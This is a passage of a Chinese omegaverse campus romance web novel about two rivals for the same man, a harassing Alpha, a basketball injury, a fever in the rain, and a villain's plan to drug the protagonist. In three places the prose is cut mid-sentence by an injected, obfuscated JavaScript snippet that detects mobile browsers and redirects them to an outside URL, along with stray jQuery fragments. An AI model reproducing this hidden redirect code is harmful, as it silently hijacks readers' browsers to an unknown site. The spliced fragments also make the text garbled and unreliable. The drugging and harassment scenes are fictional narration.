——如果某个不速之客不出现的话。 “我这也有烤猪蹄,给你吃了。” 陌生的男音突兀地插进来,与此同时路亦然餐盘里又多了一只烤猪蹄。 但他已经吃不下了,不对……就算吃得下他也不会吃这个烤猪蹄。 “我饱了,不想吃。” 男生浑不在意地笑笑,“这么一点就饱了?我看你饭基本没怎么动。” 路亦然睨他一眼:“你管我,我说了不想吃就是不想吃。” 骆丰眼神瞬间冷了下来,他勾起一边唇角靠近自己看中的猎物:“行,不想吃就不吃,晚上喂你吃别的东西。” 语气玩味,下流不堪。 听懂他言下之意的路亦然当即就火了,他一把推开骆丰,冰冷的话语含着怒意:“你是不是有病!” 骆丰笑了声,伸出手想去掐路亦然的脸,“别给老子敬酒不吃吃罚酒,老子看得上你是你的福气!” “哦~这福气给你要不要啊?” 一股强劲的力道攥住骆丰的手臂,随意这么一扯一转就让他险些脱了臼。 骆丰嘶了一声,甩甩手臂,面色不善地看着孟初欢:“我劝你别多管闲事。” 孟初欢一把把路亦然拉到身侧,“他是我朋友的弟弟,管他应该不算管闲事吧。” “你说呢?”她问一脸懵的路亦然。 震惊于情敌居然会伸出援手的路亦然回过神来,他微抬下巴,“当然不算!” “我告诉你骆丰——”他抬手指了下对方,“我哥我姐都在这儿,你要是敢欺负我,保准她俩把你揍得爹都不认识!” 喜(?)当姐的孟初欢把手骨捏得咯咯响,陈百川也拿出手机给学校保安室打电话:“喂,保安室吗?三食堂这里有人性骚扰……” 电话还没打完,骆丰已经像个合格的炮灰反派一样放完狠话落花流水地滚了。 陈百川把手机拿下来,屏幕上是一张通话界面的截屏。 备注上写的甚至不是保安室。 路亦然熟练地吹彩虹屁,“百川哥!你好聪明!” 陈百川敲了他额头一下,“别贫,怎么不跟我说骆丰纠缠你的事?” “骆丰也没有经常找我麻烦。”路亦然拉住陈百川袖子,“而且在学校里谅他也不敢做什么出格的事。” 两人你来我往熟稔得过分,落在一旁的孟初欢眼里就成了打情骂俏。 她面无表情抱着双臂,冷不丁开口:“夸完他了是不是也该夸夸我。” 路亦然:“?” 虽然你帮了我,但是……咱俩的关系是可以夸过来夸过去的吗? 话又说回来……行吧,他夸就是了。 “谢谢。”他朝孟初欢比了个大拇指。 虽然敷衍了点,但好歹是夸了。 虽然两人是已经给对方打过晚饭的关系,但这并不是他们的本意,彼此之间依旧有你没我,板上钉钉的情敌关系。 之后路亦然又想了很久孟初欢会出手帮自己的原因,有两点: 其一:骆丰是Alpha,而他们三个中间只有她是Alpha,动起真格来,他和陈百川都不是骆丰的对手。如果骆丰真的胆大包天到敢在食堂动手动脚,以孟初欢还没有低到地平线以下的道德水平,她最后肯定会出手,那还不如提前出手。 其二嘛:他是陈百川的弟弟,帮他就等于帮陈百川,不仅可以和心上人拉近距离,还能让心上人看见她路见不平拔刀相助的善良品性,对她产生积极的正面印象。 不对……还有一点! 其三:把情敌从恶劣Alpha的魔爪之下解救出来这么大的恩情,情敌难道不该感恩戴德以身相……不是,主动退出这场陈百川争夺战吗? 好啊!原来你打的是这个主意! 恍然大悟的路亦然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628391|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拍大腿,暗暗咬牙警醒自己千万不能中了孟初欢这个心机女Alpha的圈套。 次日,路亦然在学校附近的一个烘琣店待了一上午,回学校的时候手上提了一个印着小熊图案的袋子。 他站定在A栋寝室楼下,掏出手机给陈百川打电话。 没多久,寝室楼里面走出一个气质懒散的女Alpha,她嘴里还叼着一根棒棒糖,白色的细棒露在外面,配着她双手插兜的走路姿势,看起来吊儿郎当的。 “陈百川说你有事找我,说吧,什么事?”孟初欢把细棒推到嘴角。 “那天在食堂谢谢你帮了我。” “?”孟初欢抬眸,“不是当时就谢过了?” “我觉得口头答谢不够有诚意。”路亦然递出手里的袋子,“我自己做的小饼干。” 顿了顿,考虑到两人的特殊关系,他补充:“放心,没下毒,也没放泻药。” “给我的?”孟初欢觉得有些新奇,原来情敌之间也是可以送礼物给对方的吗? 长见识了。 路亦然拿看傻子的眼神看她,“喂流浪狗的。” 孟初欢眉梢一扬,接触得越久,她越觉得情敌像个炮仗,易燃易爆炸。 当然仅对她,情敌对陈百川就不这样。 “你这东西高糖高脂高热量,不能给流浪狗吃吧。” 她伸手勾过那袋小熊饼干。 “你管我,这就是给流浪狗吃的。”路亦然在心底蛐蛐:给你这只讨人厌的大狗狗吃的。 嗯,狐狸是犬科,没毛病。 “你是不是在心里偷偷骂我呢?”孟初欢瞥他一眼,嘴角的细棒又换了一个位置。 路亦然微笑:“没啊,夸你呢,我有事先走了。” 孟初欢拎着饼干上楼,一进寝室就把东西扔室友怀里,“路上捡的,你尝尝味儿。” 赵沫:…… 这是损友吧?是吧! 她打开袋子,“小熊饼干?谁送你的?” 捻了一块尝了尝,“还挺好吃,手艺不错啊!” 并不知道自己成了流浪狗的赵沫吃得津津有味,她把袋子往孟初欢那边推,“你怎么不吃?” “因为——”孟初欢一笑:“这是给流浪狗吃的。” 赵·流浪狗·沫:“……” 现在吐出来还来得及吗? 历经一番波折,608的两个人最终都成了流浪狗,赵沫顶着一头被孟初欢薅乱的鸡窝解决掉最后一块小熊饼干。 “诶?”她从袋子里拿出一张小卡片。 “这是什么?” “别以为你帮了我我就会主动放弃百川哥,哼!你休想!”——赵沫读出卡片上的字。 刻意修饰的语气格外矫揉造作。 “哟!这饼干情敌送的啊?”赵沫一脸看好戏的表情,“专门向你宣战呢!” “不过我比较好奇的是——”赵沫凑到孟初欢面前,双眼明亮,“你到底帮他什么了?” “没什么。” 孟初欢心不在焉地回了一句。 她很好奇情敌的脑回路到底是怎么长的,以为自己在食堂出手帮他是想挟恩图报逼迫他放弃陈百川? 人看着也不笨啊…… 5. 球场冲突 B大室内篮球场。 一期一度的Alpha组篮球赛正在火热进行中,接下来要上场的是经管系和临床医学系,球服一蓝一白,对比格外鲜明,至少比上一场的大红色对褐红色对比鲜明。 观众席上经管系和临床医学系的座位是挨着的,两个系的球员候场区和拉拉队区同样也挨着。 因此孟初欢头一偏就能看到隔壁的场景—— 她的情敌正在和她的老对手蒋榆说悄悄话。 时不时还要瞪着一双小鹿眼看过来,满眼都是对她和陈百川座位挨着的不满。 没办法,谁让她和陈百川都是经管系的呢,而且还同班。 早知现在,当初就应该早点转专业嘛。 这么想着,孟初欢朝情敌露出一个略带挑衅的笑。 不出所料的话,某只炮仗又要易燃易爆炸了。 路亦然默默攥紧拳头,趁人不注意朝孟初欢轻轻挥了一下,附赠一个凶狠(自以为)的眼神。 不就是同系同班,他和百川哥睡一张床(分化以前)的时候情敌还在穿开裆裤呢! 两人隔空battle一番,球赛也快开始了,路亦然气鼓鼓的样子被蒋榆看在眼里,她一边觉得有趣一边又好奇到底是谁把人惹成了这个样子。 “亦然,你刚刚朝谁挥拳头呢?” “一个讨厌鬼。” 路亦然哼了声,突然灵机一动问蒋榆:“学姐,你认识孟初欢吗?” “不仅认识,还有点熟。” 球场上互相截球截出来的熟。 “那她打篮球厉害吗?” “挺厉害的。” “跟你比呢?” 蒋榆犹豫了一瞬,想起之前数次被孟初欢半道截球的经历,真论起来,其实孟初欢的球技更纯熟也更灵活,但…… omega的眼神亮晶晶的,本就心里有鬼的Alpha哪能在这个时候承认自己比别人差。 是Alpha就不能说不行! “咳,没我厉害。” 话落,眼前omega的眼神更亮了,原本耷拉着的唇角也扬起来,“有学姐在,我们一定能赢!” 路亦然心想,最好让某个讨厌鬼一颗球都进不了! 拉拉队成员基本上都是omega,路亦然也被选进了拉拉队里面,他个子高,短袖短裤装的拉拉队服穿在他身上无端显得有些短。 有半截大腿连着膝盖和小腿全露在了外面,阳光一照就白得晃眼。 双手拿着啦啦花球上举的时候还能看见一小截白皙纤瘦的腰,腰线往下延伸进裤腰,随着动作轻轻一晃就引人无限遐想。 坐在临床医学系替补席的骆丰几乎看直了眼,甚至偷偷拍了好几张照片。 想起之前在食堂的经历,他一边觉得挫败一边又加深了对路亦然的企图。 他骆丰什么样的omega没玩过,偏偏在路亦然这儿栽了跟头。 呵,迟早有一天,他会折断他的傲骨,让他只能在自己身下摇尾乞怜。 阴暗批和赛场的热闹气氛格格不入,球场上两支队伍比分咬得很紧,全场肾上腺素直线飙升,比上一场体院对战计院的碾压式打法有看头的多。 第一节倒计时四秒,孟初欢一个神出鬼没绕开防守截走了蒋榆手里运着的球,转身起跳投球一气呵成,裁判哨声吹响的同时,经管系的观众席爆发强烈的喝彩声。 “啊啊啊啊啊!三分球!” “孟初欢你帅死了!!!” …… 第一节结束,经管系领先三分,临床医学系有球员牵扯到旧伤,下一节不能上场换了替补球员骆丰。 拉拉队同时肩负着后勤责任,路亦然递给蒋榆一瓶水,又递给她一条毛巾,“学姐,擦擦汗。” 见蒋榆脸色依旧不怎么好,他安慰了两句:“这才第一节,后面还有三节呢,学姐你一定要打起精神,把孟初欢抢了的球抢回来!” 关键词触发,蒋榆终于笑了一笑,“借你吉言。” “就这点技术也能当队长?” 突然的一声嘲讽响起,路亦然看向来人,轻蔑一笑:“这就不是你这个替补该操心的事了。” 他又看向蒋榆,眉头一皱,“学姐,你刚刚有听见狗叫吗,酸溜溜的。” 蒋榆笑着轻轻嗯了一声。 “路亦然!”骆丰脸色铁青,被气笑了,“你就非要一而再再而三地惹我?” omega睨他一眼,撇嘴:“谁惹你了?我有说你是狗吗?别自己想当狗还要怨到我身上来。” 骆丰气得胸膛剧烈起伏,他扬起手作势要扇下来,路亦然往后躲了一步,一点也不惯着他,大喊一声: “教练!骆丰说他腿疼,不能上场了!” 教练立马风风火火地赶来,掐住骆丰的胳膊,“真不能上场了?” 骆丰眼睛都气红了,面色阴沉可怖,咬着后槽牙说了声:“能!” 很快第二节开始,赛场气氛再次高涨起来,只是好景不长。 “嘭”的两声,孟初欢和蒋榆双双摔倒,两人被队员扶起来,看样子摔得不轻。 路亦然能看见蒋榆膝盖上的一片血色,而孟初欢摔得比蒋榆还要严重,他看见蒋榆倒地之前被孟初欢用手撑了一下才没摔她那么惨。 当然现在的重点不是这个,路亦然丢下啦啦花球气冲冲地走过去,先是狠狠踩了骆丰一脚,又看向赶来检查情况的裁判: “他犯规了!”他抬手指着骆丰,“我刚刚看见是骆丰故意绊倒了孟初欢,蒋学姐当时正在和孟初欢抢球,也就被绊倒了。” 骆丰甩了甩被踩痛的脚,不在乎地笑笑:“你有证据吗?” 他就是看准了人都聚在一起,裁判看不清他的动作才动的脚,路亦然就算看到了又怎样,裁判没看到。 裁判也问了路亦然同样的话,omega塌下肩膀,垂头丧气道:“没有。” 最终骆丰没有被判犯规,路亦然又气又可惜:“早知道就该多踩他几脚!” 陈百川有经验地顺毛:“待会儿再气,咱们先把伤员送校医院。” beta话音刚落,孟初欢轻轻“嘶”了一声,眉头拧着:“陈百川,我走不了,你得扶一下我。” 蒋榆有样学样:“亦然,我也是。” 孟初欢那句话刚说完,路亦然立刻警铃大作,他以迅雷不及掩耳之势搀起情敌的胳膊,“百川哥,我扶她,你扶一下蒋学姐。” “饱览群书”的路亦然深知“一方球场受伤,另一方或扶或抱或背进医务室”的戏码是小情侣感情升温的重要催化剂。 笑话,他脑子秀逗了才会让孟初欢尝到这种甜头,必须扼杀在摇篮里! 他对笑容僵在脸上的孟初欢甜甜(?)一笑:“不是走不了了?我扶你。” 孟初欢故意压了很多重量在他身上,“我真是谢谢你啊。” 路亦然略显吃力地扶着人,笑意不改:“不用,你以后要谢我的时候还多着呢。” 孟初欢:“……” 大可不必。 她第一次清晰地认识到:有这么个写作情敌读作绊脚石的存在,她的追爱之路会变得多么波折。 球服和拉拉队服都是短袖短裤,皮肤难免碰到一起,路亦然能感觉到孟初欢横跨他肩膀的手臂时不时蹭到后颈贴着的防溢贴,藏在其下的腺体当然也难逃其害。 身体深处窜出一股难言的痒意和热意,路亦然忍不住并了并腿,瞪孟初欢一眼:“把你爪子往后挪点。” 孟初欢闻言看向自己的胳膊,这才看到情敌白皙后颈上贴着的防溢贴,而她的手臂正正好压在防溢贴的边缘处,难怪路亦然的语气那么冲,表情那么臭。 她很听话的把手臂往后挪了一大截,远离omega的危险地带。 路亦然轻轻哼了声,当注意力从后颈那条手臂离开后,他就注意到其他的东西了。 孟初欢打球出了一身的汗,但他却没闻到什么汗味,反倒是一股清新好闻的薄荷香,和他上次代课在这人身上闻见的香水味一样。 打球赛还喷香水? omega突然啧了声,“你好装。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628392|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟初欢:“谁?” 路亦然:“你。” 孟初欢:“我?” 不是,她哪里装了??? “我哪里装了?” 路亦然轻轻一哼:“自己悟去。” 孟初欢:“……” 她的母语是无语。 情敌的嘴毒是毒了一点,但挑香水的品味却是不容置疑的,比上次稍浓一点的兰花香馥郁又典雅,完美地戳在了孟初欢的心巴上。 看在香水的面子上,她不跟他计较。 当初的建校人员还是挺有先见之明的,篮球场和校医院是挨着的,四个人没走多久就到了地方。 蒋榆伤得没那么重,护士给她上了药包扎之后就和陈百川一起走了。孟初欢手肘、膝盖和脚踝都受了伤,还不确定有没有伤到骨头,护士搞不定,得等出外勤的骨科医生回来才行。 护士还有几个病人等着她去换药,她一走,整个房间就只剩下孟初欢和路亦然。 两人隔着病床对视一眼,不约而同拿出手机,半点都不想搭理对方。 人生就是这么巧,孟初欢刚点开微信,网友的消息就过来了。 小鹿不迷鹿:【M,你在吗?】 她打字:【在】 小鹿不迷鹿:【我跟你说,我碰到个死装Alpha(小猫垮起个批脸.jpg)】 M:【怎么个装法?】 她才被人说装,很好奇一个人判定别人装的理由是什么。 小鹿不迷鹿:【打篮球还喷香水,熏我一脸[/擦汗]】 小鹿不迷鹿:【虽然还挺好闻的】 孟初欢回忆了一下自己出门前的行为,很好,没有喷香水,她打字:【是够装的】 小鹿不迷鹿:【对了,M,你有过情敌吗?】 M:【非要说这么伤心的话题吗?】 M:【有[/点烟]】 她可太有了,还就在身边。 小鹿不迷鹿:【你有什么对付情敌的小妙招吗?教教我嘛(小猫磕头.GIF)】 孟初欢叹了口气,很遗憾,她也没有。 如果她有的话,现在坐在一床之隔的人会是陈百川,而不是某个一点就炸的炮仗。 M:【無[/叹气]】 小鹿不迷鹿:【[/大哭][/大哭][/大哭]】 两人手机都开了静音,因此房间内安静得落针可闻。 好在没多久出外勤的骨科医生就回来了,打破了僵局。 经过检查,孟初欢只是皮外伤,没伤到骨头,但这点皮外伤也得好好养着,按时换药不能做大动作。 医生看了眼路亦然:“行了,你把她扶回去吧,忌烟酒辛辣。” 路亦然:“……哦。” 讲真,他挺不想扶的。 孟初欢站起身一瘸一拐地往门口走,偶尔发出抽气声。 路亦然木着脸走过去,一只手绕过她的后背搭在腰上,“胳膊,搭上来。” 孟初欢抬起胳膊搭在omega颈后,离防溢贴有一段距离的地方,弯唇一笑:“谢谢路学弟。” “你饿了吗?” 路亦然:“不饿。” 孟初欢充耳不闻:“哦,我饿了,咱们去食堂吧。” “我吃你看。” 路亦然:“……” 他深吸一口气,克制住了把人扔路边的想法。 这么又装又贱的人是怎么长这么大的? 食堂。 孟初欢看看自己面前这碗白粥,再看看对面碗里色香味俱全的可乐鸡翅、鱼香茄子、红烧排骨。 手里的勺子怎么都抬不起来。 路亦然皮笑肉不笑:“学姐不是饿了吗,吃吧。” “我查过了,葱姜蒜也属于辛辣,你吃不了,食堂里只有白粥不放葱姜蒜,只能先委屈一下学姐啦,等你伤好了想吃什么都行。” 孟初欢呵呵一笑,面无表情吃下一口白粥:“高考的监考老师都没你严。” 路亦然吐掉一块红烧排骨的骨头,笑眼弯弯:“过奖过奖。” 6. 雨后彩虹 “阿嚏——” 路亦然擤了擤鼻子,又是一个喷嚏打了出来。 “清清——”他拖长音调喊室友,带着鼻音的声音有些哑,“你有感冒冲剂吗?给我来一包。” 姜清正对着镜子刷睫毛膏,他头也不回:“右边柜子上,自己拿。” 他刷完左眼刷右眼,“你怎么突然感冒了?” “估计是昨天穿着拉拉队服在外面浪久了。”路亦然吸了吸鼻子,“给我冻出来的。” “清清,你化妆干嘛呢?”他从座位上探出头看镜子前的室友。 “这个嘛……”姜清俏皮一笑,“我追了好久的学姐终于约我出去玩啦!” “真羡慕你。”路亦然焉了吧唧地叹口气,“我喜欢的人都还没开窍呢。” 姜清伸手挑了挑室友头上倔强翘起的呆毛,“谁让你喜欢的是陈百川这个事业卷王呢,估计他跟辅导员待在一起的时间都比跟你多。” 他在路亦然面前转了个圈,“这身怎么样?” 路亦然看了几眼,冲他比划大拇指,“要是你早穿这身去你学姐面前晃悠,都不用追她就约你出去了。” “太夸张了吧?”姜清笑弯了眼,“那我走了,感冒要是严重了你记得去校医院拿药啊。” 喝完感冒冲剂,路亦然觉得自己又可以了,简单收拾了一下背包就前往实验楼。 在实验室一待就是半天,路亦然记录完实验数据一看手表: 下午两点。 很好,完美错过了午饭。他揉揉瘪下去的肚皮,总算后知后觉地感受到了饥饿感。 下楼之后他看着头顶乌云沉沉,听着耳边雨声瓢泼…… 又双叒叕被天气预报背刺了。 今天周末,实验楼没多少人,路亦然站在实验楼前的台阶上前看后看左看右看。 没有熟人,而且没带伞的倒霉蛋只有他一个。 没办法,他只能给陈百川发消息求助。 对面隔了几分钟才回,让他在原地等一会儿,有人来给他送伞。 路亦然先入为主地认为这个“有人”是指陈百川。 脑袋有点晕晕的,加上肚子饿,路亦然没什么精神地靠在墙上刷微博,刷得他都快睡着了,突然听见一声“路亦然”。 他懒洋洋地抬眸看过去—— 啧,真是祸不单行。 骆丰嚼着口香糖,站在身旁omega撑着的伞下透过雨幕看过来,开口调侃:“哟,没伞啊?” “我有。”他笑得发邪,“你亲我一口就给你打。” 路亦然:“……” 谁家狗没拴链子就给放出来了? 不对,不能这么说,辱狗了。 他往后退了一步,好像骆丰是什么臭水沟的老鼠,“算了,我没有吃屎的爱好。” 骆丰气得牙痒痒,恨不得拿针把路亦然那张嘴缝上,他甩手就走:“希望你以后求我的时候别后悔!” “天还没黑呢,就做起梦了?”路亦然不屑,继续低头刷微博,只是越刷越觉得头晕。 甚至晕到了产生幻觉的程度,路亦然眨眨眼,如果他没看错的话,撑着一把黑伞走过来的是…… 情敌? 她来干嘛?做实验?可经管系做实验也不该来这栋楼啊? 路亦然东想西想时,孟初欢已经收了伞走到他面前。 “没伞?”她明知故问。 “马上就有人给我送来了。”路亦然扇了扇面前的空气,“你过去点,挡着我光了。” 孟初欢:“……” 她怎么不知道原来自己的身躯已经伟岸到了这种程度。 她一步都没挪,只说:“已经来了。” 路亦然:“?” 良久,他探头往孟初欢身后看了看,没人。 孟初欢勾唇:“别看了,陈百川在给辅导员打工,没空。” 话落,她看见小鹿眼里的亮光一下子就熄灭了,整个人看起来焉耷耷的。 女Alpha没什么怜香惜玉的觉悟,撑开黑伞走到台阶边缘,回头露出一个笑: “你不会以为我要和你打同一把伞吧?别想偷懒,自己撑伞。” 路亦然:“……” 你有这么钢铁直A的脑回路,做什么都会成功的。 omega走过去拿起女Alpha手里另一把伞撑开先一步迈进雨幕:“自、恋、鬼。” 他一字一顿地说。 “哦,小、气、鬼。”孟初欢照葫芦画瓢。 这下路亦然不爽了,他瞪着眼:“喂,我哪里小气了?” 孟初欢早就想出这人说她装的恶气了,她轻呵一声:“自己悟去。” 路亦然:“……” 听,是回旋镖扎回自己身上的声音。 他默默闭上嘴,不想搭理记仇的女Alpha。 “阿嚏——” 路亦然揉了揉鼻子,怎么感觉头越来越晕了,身上还有点冷。 “你有没有听过一句话——”孟初欢突然出声打破沉默,“狗打喷嚏要下雨。” 她把手伸出伞下任雨滴砸在手心,侧头看了眼身旁的omega,“这不,越下越大了。” 路亦然又想踩人了,“你才是狗!” 他刚想给情敌翻个白眼,猝不及防又一个喷嚏打了出来,他有种打喷嚏把力气给打出去了的感觉,连伞柄都有点握不住了。 “树怎么在晃啊……” “你真该去配个眼——” 突然间,一把雨伞掉在地上砸起连串的水珠,孟初欢转过头,千钧一发之际托住了情敌即将和地面亲密接触的身躯。 “……镜。” 她用脖子夹住伞柄,一手撑住情敌的身体,一手探了探他的额头。 “啧,烫得都能煎蛋了。” 孟初欢自诩还是个道德水平居于人类平均线以上的好公民,总不能把CPU烧坏了的情敌丢雨里吧。 更别提情敌还是心上人的弟弟,要是陈百川知道她把烧昏过去的路亦然丢雨里,别说追到人了,不被扒一层皮下来都是好的。 无奈,她只能把背后的背包换到胸前,认命背起情敌,把黑伞的伞柄夹在情敌胳膊和她肩膀之间。 女Alpha身高腿长,没要多久就到了校医院。 万幸,虽然黑伞一直在头顶晃晃悠悠,像是下一秒就要罢工不干,但它最终坚持到了校医院门口。 …… 路亦然是被渴醒的。 他睁开眼,嗓子干得要冒烟,又感到手背上一股轻微的刺痛感……哦,是在挂水。 “……怎么在医院?” “是啊,怎么在医院,你有什么头绪吗?”孟初欢保持果皮不断削好了一个梨。 原谅她,手机快没电,又没带充电器,更不想观察情敌的睡颜,无聊透顶的情况下她只能削梨解闷儿了。 她把削好的梨递过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628393|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“吃吗?” 路亦然花了十来秒想清楚自己应该是发烧烧晕了被孟初欢送来的医院,他先是说了声谢谢,又看向女Alpha手里完整的一颗比拳头还大的梨。 “电视剧里病人吃的梨都是削成一小块一小块的。” 孟初欢:“不吃算了。” 话落,她一口咬在汁水丰沛的梨上。 想让她把梨削成小块?也不想想情敌是能做这种事的关系吗? 路亦然闭了闭眼,“……我渴了。” 孟初欢这次递给他一杯热水。 路亦然才喝了没几口水,病房里突然响起一连串清晰可闻的“咕咕咕~~~” 孟初欢双手交叉在脑后左右望了望,狐狸眼闪过戏谑,“病房里养鸡了?” 话里的调笑意味挡都挡不住。 路亦然按捺住想泼她一脸水的手,只垂着眼捷说:“……没吃午饭。” 话落又是一串咕咕叫。 听得孟初欢都于心不忍了,她从背包里翻出来几条饼干和几个小面包,全是赵沫以前拿错背包塞进去的。 “就当喂鸡了。” 路亦然拆了条饼干咬得咔咔响,你才是鸡!!! 虽然他很想这么说,但是……拿人手短吃人嘴短,他只能做个安静如鸡的吃播选手。 输完液,路亦然又去拿了点药,顺便让陈百川把前面挂号和输液的医药费转给了孟初欢。 从医院出去的时候外面雨已经停了,一轮金灿灿的太阳正悬在空中。 路亦然望着天眯了咪眼睛,突然,他睁大眼,朝某个方向伸手,空闲的一只手去戳旁边的人。 “看,是彩虹诶!” 很显然,突然暴涨的多巴胺让他忽略了身边人情敌的身份。 孟初欢顺着他手指的方向看过去,赤橙黄绿青蓝紫的一座拱桥,很标准的彩虹。 她又侧头看了看身旁—— 情敌不语,只是一味地拍照。 像是生怕彩虹长腿跑了。 默了几秒,孟初欢拿起仅剩10%电量的手机,也拍了一张彩虹照,情敌出镜了一个侧脸。 第一次看见彩虹的omega异常兴奋,也不管走在身边的人是谁,就让人帮他拍自己和彩虹的合照。 孟初欢根本没机会拒绝就被塞了部手机在手上,偏偏情敌这时候又能放下面子对她双手合十“拜托拜托”了。 让人想起在森林里蹦蹦跳跳的小鹿。 彩虹小插曲一结束,两人继续往宿舍楼的方向走,碰到了路亦然的同班同学。 心情很好的omega主动打招呼:“一帆!” 钟一帆看着孟初欢:“亦然,你旁边是?” “她啊,孟初欢,经管系的。”omega轻哼着撇撇嘴角。 钟一帆朝孟初欢莞尔一笑:“孟学姐你好,我叫钟一帆。” 孟初欢挑挑眉毛:“你好。” 她很好奇,路亦然没说她的年级,钟一帆怎么就能确定她是学姐而不是同级的呢? “孟学姐……”钟一帆的眼神在两人之间打转,“你和亦然很熟吗?” 情敌组互相对视一眼,都能看出对方眼里明晃晃的嫌弃,两人这才发现她们的距离有点过近了,几乎快要肩膀贴着肩膀。 两人不约而同同时向左/右跨了一步,“我和她/他——” “一、点、都、不、熟!” 钟一帆莫名松了口气。 7. 校外遭绑 蓬莱会所。 七八个人聚在包厢里,有A有B有O,一个年轻男omega众星捧月般坐在了最中间。 “非少,这是你要的东西。”梳着背头的男Alpha把一个装着无色液体的小玻璃瓶放在桌上。 男人口中的“非少”拿起桌上只有小指甲盖那么大的玻璃瓶,眉眼间隐有怒意,“你就只找了这么一点?” “非少,您有所不知,这种诱导剂只需要几毫克就能强制omega进入发情期,这一瓶的剂量已经能让omega深陷情潮任人摆布,再多就要死人了。” 年轻omega轻哼一声,把玻璃瓶收进口袋,“这还差不多。” “骆明,你在看什么呢?” omega没等人回答就一把抢过他手里的手机—— 是一张照片。 拉拉队服下隐隐浮现的纤细腰肢,修长白皙匀称有力的两条长腿,还有那张……让人厌恶到极致的脸。 omega握着手机的手指用力到发白,脸上是毫不掩饰的怒意,“你看他做什么?” 骆明在看到那张和身边omega有几分相似的脸时,就意识到了事情的严重性。 只是他还没来得及把照片删掉,手机就被omega抢走了。 作为段小少爷的A颜知己,骆明知道很多其他人不知道的内幕消息。 比如段非有个同父异母的哥哥,比如段非经常去B大偶遇他喜欢的邻家beta哥哥,再比如…… 段非讨厌他的omega哥哥。 也就是照片上的人。 “非非,这是我哥发给我的,他应该是发错人了,照片我根本没看清。” 骆明极有求生欲地吹彩虹屁:“长那么丑,哪比得上非非的一根手指头,我看一眼都怕瞎了眼睛。” 他这就是在睁眼说瞎话了,照片上的人未施粉黛便能勾得他心神摇曳,段非那张脸哪有这么大的威力。 更何况衣服下那截若隐若现的白腻纤腰和两条一看就很适合盘在腰上的长腿,让人不禁想:上面出现些或红或紫的指印和咬痕是不是会更好看。 段非从鼻子里哼出气声,长按删除照片信息又把手机扔回去,“算你还没瞎。” 喝了几口果汁,段非无意识地摩挲放在衣服口袋里的小玻璃瓶,良久,他唇角勾起一抹笑容。 “骆明,把你哥哥也邀请来我的成人宴吧。” 本来他都已经找好了人,路亦然这种货色的omega,被清洁工搞都算他高攀。 不过……那贱人的运气也是真好。 既然骆明的哥哥对那贱人有想法,他也不介意顺水推舟送个人情。 —— 估摸着易感期就在这几天,孟初欢跟辅导员请了假,打算找个孟家旗下的酒店住几天,等易感期过了再回学校。 她刚出校门就看见前方不远处停着一辆宾利,两个身着黑色西装脸戴大墨镜的大块头男Alpha站在车外,做出了邀请人上车的动作。 至于他们邀请的对象,孟初欢往旁边走了几步,打眼一看—— ? 这侧脸怎么那么像情敌的? 她虽然不是猫,但也有好奇心,更何况这场面有关情敌,更值得她好奇了。 孟初欢放轻脚步贴着墙根往前走了几步,直到能听见说话声。 “大少爷,今天是小少爷的成人宴,段总让您回去。”左边那个黑衣保镖说。 路亦然一脸的不耐烦:“不回。” 保镖:“段总让您回去。” “我说了——”停顿的间隙,路亦然迅速伸出右脚给左右两个保镖擦得锃亮的黑皮鞋上各盖了个戳。 “不、回!” 他踩完人转身就跑,刚好和听墙角的某情敌来了个四目相对,就是这一眼让他脚下的动作慢了几拍,被两个保镖一人一只手臂拎小鸡崽似的给拎到车上去了。 车门已经关上,但车窗开了一半,孟初欢还能听见情敌在里面怒喊“放我下去!”的声音。 很快宾利呼啸而去,孟初欢拆了根棒棒糖叼在嘴里,边走边想:没想到情敌还是个养尊处优的小少爷。 抵达酒店,孟初欢下车后伸了个懒腰,发现酒店大门布置得有些过于华丽了,活像要办什么宴会。 “经理,这是?” 经理刚好嘱咐完下属让他去把车停好,听见孟初欢的问话说:“段家的少爷在我们这儿办成人宴。” “又是成人宴?”孟初欢把棒棒糖的细棒丢进垃圾桶,低声说了句。 情敌弟弟办成人宴,这儿又来个办成人宴的,别是一个人吧? 思及此,孟初欢多问了几句:“哪个段家?” 经理:“段昌宏,段家自己也有酒店,他选在这里估计是想借此和孟总搭上线。” 孟初欢想了会儿,“不认识,跟我说说今天的主角吧。” 经理:“段非,段昌宏第二任夫人所出,他还有个同父异母的哥哥,是段昌宏第一任夫人所出。” “哥哥叫什么?” 经理摇摇头,“具体叫什么不清楚,不过据说长相丑陋,常年待在家里不出门,也没多少人见过他长什么样子。” “长相丑陋?”孟初欢看他一眼,抬腿进了电梯。 情敌那张与“长相丑陋”四个字完全背道而驰的脸出现在脑海,看来这位段非少爷和情敌的弟弟应该不是同一个人。 